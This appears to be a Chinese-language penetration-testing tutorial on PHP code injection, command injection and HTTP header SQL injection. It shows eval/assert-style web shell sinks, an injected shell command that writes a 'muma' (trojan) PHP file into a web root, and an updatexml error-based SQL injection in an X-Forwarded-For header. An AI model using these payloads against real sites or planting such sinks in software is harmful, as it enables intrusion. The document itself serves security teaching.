渗透测试-SQL注入-代码与命令注入
一、代码注入
eval函数
在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eval(“phpinfo0;”)、eval(“echo date()”),也可以是更加复杂的代码,比如@eval($_POST[‘code’]);代码,用户提交POST请求参数如下:
code=$a=10;$b=20;print($a+$b);
code=$time1 = "2022-11-03 18:52:03";
$time2 = "2022-11-03 18:52:09";
echo (strtotime($time2)-strtotime($time1))
// 或者更加复杂的代码:
code=$conn = mysqli_connect('127.0.0.1','root','数据库密码','learn');
mysqli_set_charset($conn,'utf8');
$result = mysqli_query($conn, "select * from user");
$rows = mysqli_fetch_al1($result);
var_dump($rows);
assert函数
assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对于eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对 @assert($_POST[‘code’]);的代码,用户提交的POST请求如下:
code=phpinfo();
code=print(date("Y-m-d"));
// 除此之外,我们也可以构造让assert函数执行eval()函数的Payload:
Code=eval('$timel = "2022-11-03 18:52:03";
$time2 = "2022-11-03 18:52:09";
echo (strtotime($time2)-strtotime($time1));');
preg replace函数
针对@pre_replace(“/test/e”,$POST[‘code’],“test”);构造的Payload如下:
code = phpinfo();
code = print(date("Y-m-d"))
code = @eval('$a=10;$b=30;print($a+$b);')
create_function()函数
create_function主要用来创建匿名函数,以下展示了其代码和Payload:
$func = create_function('',$_POST['code']);
$func();
code=phpinfo();
code=$a=11;$b=30;print($a+$b);
code=eval('$a=11;$b=30;print($a+$b);');
反序列化漏洞也属于代码注入
二、命令注入
在PHP中,可以直接执行操作系统的命令,函数包括:system,exec,popen,paassthru,shell_exec等
system($_POST['code']); #自带回显
passthru($_POST['code']);
echo exec($_POST['code']); #echo 回显
echo shell_exec($_PoST['code']);
另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令的一部分,则也会构成命令注入漏洞。
比如后台执行命令:sudo firewall-cmd–add-port=
p
o
r
t
/
port/
port/protocol,而port参数是由前台用户传入的,构建的Payload如下:
80/tcp --permanent; echo "Hello world" > /opt/1ampp/htdocs/security/temp/muma.php;
三、HTTP头注
HTTP头被插入数据库,构建出了insert语句,那么头信息只要构造为:
$useragent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipaddr = $_SERVER['REMOTE_ADDR'];
$sql = "insert into header(useragent,referer,xforward,ipaddr) values('$useragent','$referer','$xforward','$ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "Welcome Here";
Payload:
GET /security/misc.php HTTP/1.1
Host: 192.168.88.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.fjczzlly.com
X-Forwarded-For:' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
Cookie: PHPSESSID=5kb639h750ekb40fpf36c1uopq
Upgrade-Insecure-Requests: 1
HTTP请求头的获取方式
$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。
$_SERVER['REMOTE_HOST'] //当前用户主机名
$_SERVER['REQUEST_URI'] //URL
$_SERVER['REMOTE_PORT'] //端口。
$_SERVER['SERVER_NAME'] //服务器主机的名称。
$_SERVER['PHP_SELF']//正在执行脚本的文件名
$_SERVER['argv'] //传递给该脚本的参数。
$_SERVER['argc'] //传递给程序的命令行参数的个数。
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法
$_SERVER['QUERY_STRING'] //查询(query)的字符串。
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型
$_SERVER['HTTP_X_FORWARDED_FOR'] #获取原 IP
任何可以导致代码执行、命令执行、数据库读写的操作,均可以被称为注入。